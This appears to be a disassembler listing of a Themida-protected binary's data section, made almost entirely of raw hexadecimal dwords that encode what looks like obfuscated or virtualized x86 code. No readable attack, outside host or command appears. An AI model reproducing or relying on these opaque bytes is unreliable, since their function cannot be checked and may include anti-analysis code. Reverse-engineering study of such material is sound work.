word_5BED76 dw 858Dh ; DATA XREF: Themida_:0057A7F8o dd 615279Dh, 398D8B60h, 9061513h, 15182D9Dh, 0CF816106h dd 6880ED7Ch, 12E850h, 538D0000h, 0B4753F21h, 0B32C96E4h dd 0BAD2EB9Bh, 5FF4B5A4h, 0F7C20EBBh, 4895B6Ah, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 600CE4BAh, 840Fh, 0BD8B0000h, 6152789h, 6A006A61h, 0AE900h dd 130000h, 332BA79Fh, 2187991Ah, 54D1858Dh, 6A0619h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E3C667C3h, 0DEA71C28h, 95892C49h, 6152219h, 8905C083h dd 150A85BDh, 8EB35006h, 31240489h, 15137185h, 0A810F06h dd 0E9000000h, 5, 5EBA8C62h, 1006A50h, 150B7D95h, 0FF006A06h dd 15267995h, 58D8906h, 8D06151Eh, 189C158Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 707840FEh, 80FB67C7h, 0E59D8BC6h, 8B061514h, 151A35BDh dd 89D1FF06h, 15303585h, 0B5BD8306h, 106152Dh, 5A850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 335F5BC3h, 95094E0Eh, 6150321h, 9D8B026Ah dd 6150A69h, 14E950h, 34980000h, 807FD7CEh, 1A8F279Ah dd 3495DB3Dh, 2D523235h, 489B15Dh, 0F9BF0F24h, 1D4D95FFh dd 95890615h, 61528D5h, 0CFEE9h, 0E800h, 815D0000h, 1954DBEDh dd 0CE906h, 765B0000h, 2C7336FEh, 155B2CFEh, 6A01E3h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0D0C044C3h, 9D8B1A92h, 61523E9h, 88F9858Dh, 85890618h dd 6151379h, 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 94C35646h, 0DCC686F8h, 35FF643Fh, 0 dd 2F41B509h, 0BD8B0615h, 6152555h, 258964h, 66000000h dd 6960F381h, 3800Fh, 0B70F0000h, 3585FFFEh, 8B061515h dd 0FFFF6AFEh, 152F59B5h, 0E9BD8B06h, 0E9061515h, 13h dd 0DFC1A589h, 897F16D7h, 8B77BD54h, 0A8E6F944h, 0FF44BD7Bh dd 1508BD95h, 10CE906h, 8B660000h, 8900B0FBh, 15262595h dd 758D8906h, 0E6061524h, 9E970h, 0B1850000h, 0E23BFFA1h dd 0E45A4984h, 11E871h, 18D50000h, 5E4D9E88h, 0FA8C22C1h dd 97F0A6B6h, 8BA6DA18h, 613C5FDFh, 0C8830Fh, 8D090000h dd 6152B1Dh, 0B3C8B60Fh, 38A0F7Eh, 0F000000h, 6BAF9BFh dd 0BB000000h, 1323C99Fh, 8B66C18Bh, 4E8C1F9h, 0E2F766F5h dd 0A259D89h, 0C82B0615h, 0BD39D781h, 0D18B5901h, 49B58952h dd 5B061503h, 1E9h, 858BF900h, 6151D91h, 5698501h, 0C0830615h dd 6E95707h, 36000000h, 147985ECh, 0C0835B8Ah, 0C99D0300h dd 0F061511h, 286h, 3B62B300h, 10830FD0h, 0BF000000h, 3B3555C1h dd 41E9h, 0E19D8B00h, 8B061520h, 1528718Dh, 51858906h dd 8306152Ah, 840F01E1h, 26h, 66DEBF0Fh, 83BEA6BFh, 152871A5h dd 957FE06h, 150461B5h, 95895B06h, 6151D91h, 0DE7911BBh dd 0E931h, 0B58D0000h, 618E1BCh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 83C35747h, 0C7813F5Eh, 2902C73h dd 6651006Ah, 5F9D61BBh, 2E2195FFh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 761B4EC3h dd 899D8BBEh, 0B9061525h, 0DD2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 79C35343h, 66CC061Ch, 830ADCBFh dd 3EBBFCE1h, 0E9131682h, 9, 0E4A280B7h, 806CF5B4h, 8589FC01h dd 6151135h, 0ADF78166h, 6AC02B6Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4D63C355h dd 0B549BB51h, 8B5B700Ah, 151E6D9Dh, 0BA06h, 0DB800000h dd 0C233AD8Dh, 0D003E8D1h, 7504E983h, 0DDB589F4h, 6A061510h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0D0A4C353h, 0CE97CB6h, 0D1000000h, 921481B0h dd 4AB1CC16h, 0D855F1Dh, 88h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 8DC35646h, 0D97379DAh, 958B0427h dd 6152721h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 10C35747h, 4CD8D8Bh, 8B500615h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 25E59D8Bh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 8F4CBEC3h dd 0FE8B6669h, 18A9BD83h, 0F000615h, 5A84h, 7BE78100h dd 6665657Fh, 8DFCDB81h, 0B8h, 11E900h, 98DF0000h, 7C1F66C4h dd 0AECEADEBh, 874F59BDh, 8DA354C7h, 154F9E8Dh, 6D9D2306h dd 0FF061513h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 159D8B22h, 6606152Fh dd 836DA9BBh, 151115BDh, 840F0006h, 41Ah, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F3C35646h, 6E136B20h dd 0E9500091h, 0Bh, 0D8532E8Dh, 81CA6770h, 5B1D376Eh, 0F18D0153h dd 5B061508h, 1115BD83h, 0F010615h, 3EC84h, 618D8900h dd 8306150Ah, 151115BDh, 860F0306h, 3A3h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h, 49837FD0h dd 12E9DFh, 772F0000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah dd 4A8804E5h, 11E9F860h, 0E8000000h, 0CA7BBF89h, 327EB85Dh dd 6F9C6FADh, 26034DB5h, 6AD98C66h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 10CFC355h dd 0C9BD8B31h, 0F061521h, 84h, 4E18000h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AAC35343h, 7B8B8C29h dd 3BBDE76h, 0A3EEE8Dh, 12840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1061C352h, 858B14F3h, 615249Dh, 0AA1ADB81h, 7E93699h dd 0E1000000h, 2EDB20C3h, 85339611h, 61519B5h, 81FAB70Fh dd 906C9EBh, 52505034h, 5B565250h, 0EAB7310Fh, 310F585Ah dd 489585Ah, 68A0F24h, 81000000h, 2DB1D0E3h, 6AF818h, 158A0Fh dd 10E90000h, 0F3000000h, 3BB7F581h, 2A9CBC7Ah, 0EFE802D6h dd 68B4735Eh, 7B40FD3Ch, 0E9525060h, 9, 0C210EA88h, 0F93DC087h dd 0BB310FCDh, 366F3668h, 5250585Ah, 9E8h, 0E1C98A00h dd 9DAEEE08h, 0F5A802Ch, 9216BB31h, 585A379Ah, 24348161h dd 7B5FFEC3h, 953DB81h, 95FF64C9h, 6150DADh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 374E550Dh dd 0AC3641FDh, 8589F88Bh, 618BF99h, 6830Fh, 0BD8B0000h dd 6151849h, 18FE9h, 95BB6600h, 91858B0Fh, 890618BFh, 1509E995h dd 1800C706h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0C232C350h, 860F8161h dd 6, 12BDB589h, 0B58B0615h, 618BF95h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 55C35141h, 0A4EC67A2h, 8B9D39F7h dd 1525919Dh, 45858B06h, 8906150Ch, 15104195h, 81068906h dd 9CA8BCF3h, 9D858B4Fh, 0B061524h, 152CAD9Dh, 4468906h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A0C35343h dd 24E36291h, 6D7E2DCDh, 0B58960CAh, 615257Dh, 746B966h dd 8B665061h, 243489DEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0FFC35141h, 219D8BD5h, 0FF061510h, 18BF91B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 852956B8h, 61517A9h, 4CEAD068h, 81FB8BF0h dd 192F2404h, 6A0FD2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7043F0C3h, 8B661BB8h, 99858DDFh dd 810618BFh, 0F45089CFh, 8B665043h, 240489FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 0FC1B7C2Fh dd 0D553BF66h, 86D9D8Bh, 95FF0615h, 6150DADh, 0E1E1BB66h dd 81666061h, 61F4DAD9h, 111585C7h, 30615h, 0BF0F0000h dd 99BD83FAh, 618BFh, 35840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 44BC02C3h dd 87A78BD8h, 9D8B8EAFh, 6150669h, 21E9h, 8F0F00h, 50000000h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 7E9C08Bh, 79000000h, 8355A05Bh, 0B70F79DFh, 1BD09FFh dd 83061501h, 151115BDh, 850F0306h, 45Ch, 0E852006Ah, 3 dd 5AC35A20h dd 4245489h, 4244481h, 1Ah, 4C35242h, 72300E7Dh, 9D238626h dd 6150CEDh, 0BF99BD83h, 0F000618h, 42784h, 0AE900h, 75340000h dd 0B64C171Bh, 5B31BE10h, 0B5FFFB8Bh, 618BF99h, 0DC01CB81h dd 95FF1BCFh, 61510E1h, 5B98D89h, 7E90615h, 0E5000000h dd 1E4A8804h, 0B58B3DC9h, 618BF8Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 7EC35747h, 899DFF33h, 150DD1B5h dd 106C706h, 8B000100h, 1524B1BDh, 6E806h, 185B0000h, 83DA0F1Eh dd 0BE8h, 0C1968300h, 0AC9E592Ah, 67AE58CAh, 840Fh, 5B5B0000h dd 5E850h, 222A0000h, 0E934C727h, 5, 891A4352h, 34895FF9h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0CC0F2077h, 0C0D843D8h, 0F59D8924h, 8906150Fh dd 1502D5B5h, 0FFD88A06h, 18BF99B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 254E891h, 633D326Eh dd 11FBBF3Bh, 95FF6DBDh, 61506A1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0D7C35646h, 231420F6h, 6671D46Bh dd 8B9907BBh, 18BF8DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 3B33FA33h, 0BFE2ACF6h dd 7D9BD8Bh, 858B0615h, 6150059h, 8689FBB3h, 0C4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CEC35646h, 4D9D8BF8h dd 8B061517h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 45C7AE78h, 0D9BF0F59h dd 2904C283h, 1508B99Dh, 20508906h, 0D458858Dh, 0BB660618h dd 8689394Bh, 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 53C35141h, 1D8D896Dh, 29061500h, 15022D8Dh dd 89006A06h, 1518419Dh, 99B5FF06h, 6A0618BFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 4632C352h, 95FFFE11h, 6151D4Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 97C35343h, 119474DDh, 11EF81DCh dd 603F50E5h, 6D18D23h, 0BD8B0615h, 6152EA1h, 0DE85061h dd 0BE000000h, 68354A59h, 0B6CCED09h, 9EC76190h, 11E860h dd 20DE0000h, 951F952Ch, 0B9C48100h, 6C9FBF4Dh, 5E6C2A72h dd 5E8h, 27843000h, 61594B49h, 2434895Fh, 0FFD9B70Fh, 18BF99B5h dd 0F8BB6606h, 2995FFB2h, 6A061507h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4EA1C351h dd 13E80Bh, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h dd 71D24058h, 835FF88Fh, 150065BDh, 840F0006h, 35h, 2ACD9589h dd 60500615h, 5B5B5756h, 8961EA8Ah, 6A2434h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 90DE5CC3h dd 0B46B4319h, 99B5FFC2h, 660618BFh, 95FFDA8Bh, 6150439h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 1C35040h dd 81C06173h, 4A01A6EFh, 0DA8B6650h, 0BF99B5FFh, 6A0618h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0E6505DC3h, 7BC2B4BFh, 2DBD8B77h, 0FF061517h, 150DCD95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8D290596h, 6151D81h, 285DBD83h, 0F020615h dd 4884h, 800FF900h, 15h, 0AE960h, 4EB0000h, 864532C6h dd 9BB535C9h, 8F86B866h, 49858B61h, 6A061528h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 6698C355h, 0A80FD781h, 8B0000C6h, 0F585C7F8h, 61523h dd 66000000h, 0BF6FC781h, 0FFF3D4E9h, 8B18B3FFh, 55006AC1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FA5825Fh, 685h, 1D9D8B00h db 19h, 15h, 6 byte_5BFC03 db 8Dh ; DATA XREF: Themida_:0057AD70o dd 15279D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0AC1F646h, 2D563C15h, 90FABF0Fh dd 0C2B35250h, 71BF310Fh, 5A048C6Dh, 0E9605058h, 0Eh, 879DEB8Ch dd 0E4C2C7E5h, 0B16FB8D4h, 0B660726Bh, 61616005h, 95899061h dd 6152D8Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 4055B7C3h, 821B3A29h, 9B42709h dd 15059185h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 77E9C353h, 63F2858Dh dd 81660619h, 83CE24C7h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0B189C2C3h, 61F9D97Dh dd 66525090h, 310FDF8Bh, 3800Fh, 8B660000h, 50585AFEh dd 6A901EB7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0F57BC356h, 1381BD8Bh, 6AFC0615h dd 45B50900h, 6A061509h, 7995FF00h, 8B061526h, 152DF19Dh dd 158D8D06h, 6A06189Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0B5BBC350h, 99FF4FC1h dd 0D2D984F2h, 0BE9D1FFh, 0BE000000h, 90D3676Fh, 0C1385824h dd 0BD83B874h, 6152DB5h, 0AA850F01h, 89000000h, 1512F1B5h dd 0D3E78006h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 27FD55C3h, 0E1B35028h, 5998509h dd 50500615h, 8E85052h, 0EB000000h, 8204670Ah, 5B62880Ch dd 66310F5Fh, 5A1981BFh, 24048958h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 7BC35242h, 9E956524h, 4D95FFF0h dd 6A06151Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0AD11C351h, 494ECF8Ch, 0B70FF5BCh dd 68E0FF8h, 89000000h, 15156D85h, 0DADE906h, 0E80000h dd 5D000000h, 63FCED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0ED8976C3h, 0BD8B644Ch dd 61502CDh, 3089BD8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0C15688C3h, 8F60FEAh dd 0F9858DF8h, 6A061888h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 8AE2C352h, 0D6D5EA07h dd 9501BE1Bh, 6150305h, 58E0F90h, 0BB000000h, 7100125Ah dd 0F88B6650h, 35FF6490h, 0 dd 1D119D8Bh, 89640615h, 25h, 0A5BD8900h, 66061502h, 85FFD98Bh dd 6151535h, 5AC7E3BBh, 6AFF6A57h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 17BFC353h dd 0B5FFC280h, 6152E0Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 38C35747h, 2951D825h, 150AB1B5h, 95FF5B06h dd 61508BDh, 146E9h, 7E900h, 426E0000h, 78817F7h, 900B0F8h dd 1511258Dh, 5170E606h, 2225BD89h, 0E45F0615h, 0A1BD8B71h dd 3C061527h, 18830F61h, 0F000001h, 8B0FC8B6h, 10h, 0BE9h dd 0C3FFB900h, 20F1FBA6h, 0CB3D0AF9h, 0EFD78166h, 6BA37h dd 8B660000h, 7D8589DAh, 8B061505h, 9919BBC1h, 0E8C1044Dh dd 0F766FC04h, 10E8E2h, 31A10000h, 34B337D4h, 868B697Bh dd 18D86B27h, 0DE9E8F5h, 50000000h, 6C70374Bh, 0CBDAC72Dh dd 38333106h, 29C82B5Bh, 150A9585h, 0B9BD8B06h, 8B061528h dd 0EE9F8D1h, 60000000h, 2781B589h, 9D890615h, 61502E5h dd 8D858B61h, 0E9061527h, 0Eh, 0D7E0F500h, 0F2963231h dd 0DAB75ECBh, 0C0834B5Bh, 0C19D8B07h, 8306150Fh, 9D0100C0h dd 6153389h, 830FD03Bh, 24h, 13850F60h, 0E9000000h, 0Eh dd 5F54232Fh, 0A830C432h, 2BB4D215h, 61FC2D4Eh, 3EE9h dd 0DF8B6600h, 4E18D8Bh, 83F80615h, 840F01E1h, 2Bh dword_5C005C dd 850Fh, 0A5830000h, 61504E1h, 0D38166FEh, 9589FF3Fh ; DATA XREF: ___:off_443E9Co dd 615278Dh, 6870F51h, 0F000000h, 8Ch, 0E95F00h, 8D000000h dd 18F145B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0D19BA1F5h, 12E9A84Ch, 0FE000000h dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h, 29006A4Ch dd 1510FD85h, 2195FF06h, 2B06152Eh, 152665BDh, 882B906h dd 0D7810000h, 3E5F7CFAh, 6AFCE183h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8AC5C353h dd 66031440h, 6AFCF98Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 2E51C355h, 0BBFEBF0Fh dd 662D1FD3h, 0B8h, 0A5BD8B00h, 56061511h, 0CE8h, 0AA0DF500h dd 49F55B4Ch, 0C912CE89h, 5B5FFC59h, 0BAh, 0ADDE8B00h dd 0E8D1C233h, 0E983D003h, 8BF47504h, 1502C5BDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 8DBB81C1h, 8FAACED1h, 0FC98D89h, 880D0615h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 81A0C355h, 8D4758DFh, 21958B49h, 66061527h dd 0BDB2EF81h, 4CD8D8Bh, 0C7810615h, 3180CEE1h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 51B940C3h dd 0E87B0310h, 0Eh, 9B2838B9h, 7EA68CCEh, 38BCB610h, 0AE8CB55h dd 0C7000000h, 6D94D052h, 58686EB8h, 0B59529BCh, 5B061504h dd 9D85315Bh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 4772C355h, 9C2721ABh dd 0BD835EA7h, 61518A9h, 4B840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0ED92C353h, 0D25209A7h, 0B5295F7Bh, 61503CDh, 0B8h dd 0B9BD8B00h, 8D06150Dh, 154F9E8Dh, 3860F06h, 80000000h dd 0E1FF31CFh, 9C9BD8Bh, 0BD830615h, 6151115h, 5F840F00h dd 56000004h, 5FDEBF0Fh, 1115BD83h, 0F010615h, 46884h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8E8BFFEh, 38000000h, 0A22B3882h, 0F08F7EDh dd 1883h, 12E800h, 0F5E50000h, 3C07BC33h, 80B9E1A8h, 5A65C314h dd 6AABFB2h, 9D335F5Fh, 61501DDh, 1115BD83h, 0F030615h dd 3D686h, 91BD8B00h, 6006151Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0DEC35747h, 0ACFA62DEh, 22F2B766h dd 8C66D98Ah, 0E18D89D9h, 80061526h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 11E8C2C3h dd 56000000h, 0FCE46AFDh, 8F5BDE29h, 494BB20Eh, 2C32F777h dd 68A0Fh, 95290000h, 61511D5h, 0FC90A5Fh, 10084h, 0FA8B6600h dd 249D858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0E24713C3h, 19B58533h, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0E276E7C3h, 0DCA3E9F1h, 0BFA3DCEAh, 6268DC06h, 89D98A50h dd 8B662404h, 66006AF9h, 6851E3BFh, 9F7B96C6h, 5800Fh dd 47BF0000h, 817B31A3h, 6D392404h, 6A60A3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9BFB40C3h dd 0FB683753h, 8AF74023h, 0AD95FFFEh, 6A06150Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A995C355h, 13A4436h, 1526B585h, 99858906h, 0F0618BFh dd 1985h, 14E900h, 0D82D0000h, 730CBB7Ah, 0F1392302h, 0F70BF796h dd 3A598EE6h, 0A8E96AABh, 9000001h, 15098995h, 91858B06h dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 293CC351h, 15168185h, 1800C706h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 5588C351h, 29B9C5Bh, 45C334BBh dd 7E9h, 9FB70900h, 14D235D4h, 95B58BF8h, 8B0618BFh, 1507559Dh dd 45858B06h, 6606150Ch, 8B75F5BBh, 152681BDh, 6A068906h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 7FBBC355h, 33C9BD0Bh, 0B5290615h, 6150C01h dd 249D858Bh, 0BD8B0615h, 6152219h, 6A044689h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0B50FC352h, 7723C0EDh, 2F819D89h, 0E8500615h, 12h, 0A55A167h dd 0F04DD021h, 0C69F1974h, 6BF89FEBh, 0F60DB0Bh, 82h, 10E800h dd 0DB7D0000h, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah, 61597D21h dd 2434895Fh, 0C686BB66h, 0BE7EF781h, 0B5FF7063h, 618BF91h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7DC35242h dd 0BE0BE099h, 0BF72F59Ah, 48633D0Dh, 38BF6660h, 0EF8166B8h dd 6861C225h, 0D3237BE2h, 5850Fh, 0C3BB0000h, 813F636Bh dd 881D2404h, 80602CFBh, 0BD89C9EDh, 6152AD5h, 99858D61h dd 310618BFh, 151411BDh, 840F5006h, 4, 6723BF66h, 8B240489h dd 1506E1BDh, 0AD95FF06h, 6106150Dh, 0BE956h, 0B0150000h dd 682C6585h, 0C3A44896h, 8B665BF5h, 1585C7DFh, 3061511h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 1CFCC353h, 5D53293Bh, 0AE85C47h dd 0C0000000h, 5E060EDBh, 6A35DCC4h, 20BB66ECh, 0BD835F5Ch dd 618BF99h, 50840F00h, 0E8000000h, 14h, 0C130933Fh, 0BA8B0DBCh dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0BE9h, 5E219000h dd 0F34F050Dh, 438CE125h, 3CE95Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816676C3h dd 506222E3h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 50F28DC3h, 0BE409405h, 6AF9BF0Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0BA9CC355h, 870FF54Eh, 2, 0BD83F98Bh, 6151115h dd 0F5850F03h, 8B000003h, 150E119Dh, 8E906h, 81770000h dd 0C2B85191h, 0BD83099Fh, 618BF99h, 0D5840F00h, 0BF000003h dd 39B2CD9Dh, 0BF99B5FFh, 5E90618h, 0A4000000h, 76CC2D5Bh dd 10E195FFh, 0C7810615h, 46914E80h, 5E9h, 0BD81EB00h dd 0B58B7D02h, 618BF8Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D5C35343h, 2432FF62h, 106C7h, 0B5890001h dd 6150CF5h, 0FB8B6696h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 3AFD26C3h, 0C3B96297h dd 319D0138h, 8B061525h, 1514FDBDh dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0BF2FC355h, 32A40981h dd 674E856Bh, 6A195FFh, 9D890615h, 6150811h, 24599D29h dd 0B58B0615h, 618BF8Dh, 858BDE8Bh, 6150059h, 8689D98Ah dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 85C35141h, 3821E246h, 0E94EC4C0h, 9, 98405E2Ah dd 92A0E23Fh, 21958B0Ah, 83061527h, 0F6004C2h, 18Bh, 0DE8F900h dd 0EE000000h, 694F5B9Eh, 4BCC70D7h, 6C376753h, 0DCC18166h dd 89615FABh, 85892050h, 6152FF5h, 0D458858Dh, 0B5890618h dd 61512ADh, 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 29AB0FC3h, 5157EE23h dd 0B850FC6h, 0F000000h, 58Ch, 709EBB00h, 6A50F9h, 0BF99B5FFh dd 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 17A914C3h, 8E9h, 22118200h, 0A73ECFFCh, 718D2940h dd 0FF06150Dh, 151D4D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 333A91A8h dd 68D0FFBh, 89000000h, 1508B995h, 0D7816606h, 0B796EF30h dd 0BF665077h, 33966BFBh, 152499BDh, 99B5FF06h, 6A0618BFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0B5CC355h, 0F9BF0F5Ah, 48E38166h, 2995FFBBh dd 6A061507h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 22ADC353h, 61FCFC60h, 65BD83h dd 0F000615h, 4484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0D88A5008h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F5C7C352h, 1F5333BBh, 99B5FF3Bh, 6A0618BFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 33CC351h, 1514B5BDh, 958B6006h, 6152F81h dd 2C71BD8Bh, 0FF610615h, 15043995h, 28E0F06h, 8B000000h dd 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 81CAC356h, 0B70F376Eh dd 0CD95FFD8h, 6A06150Dh, 3E85000h, 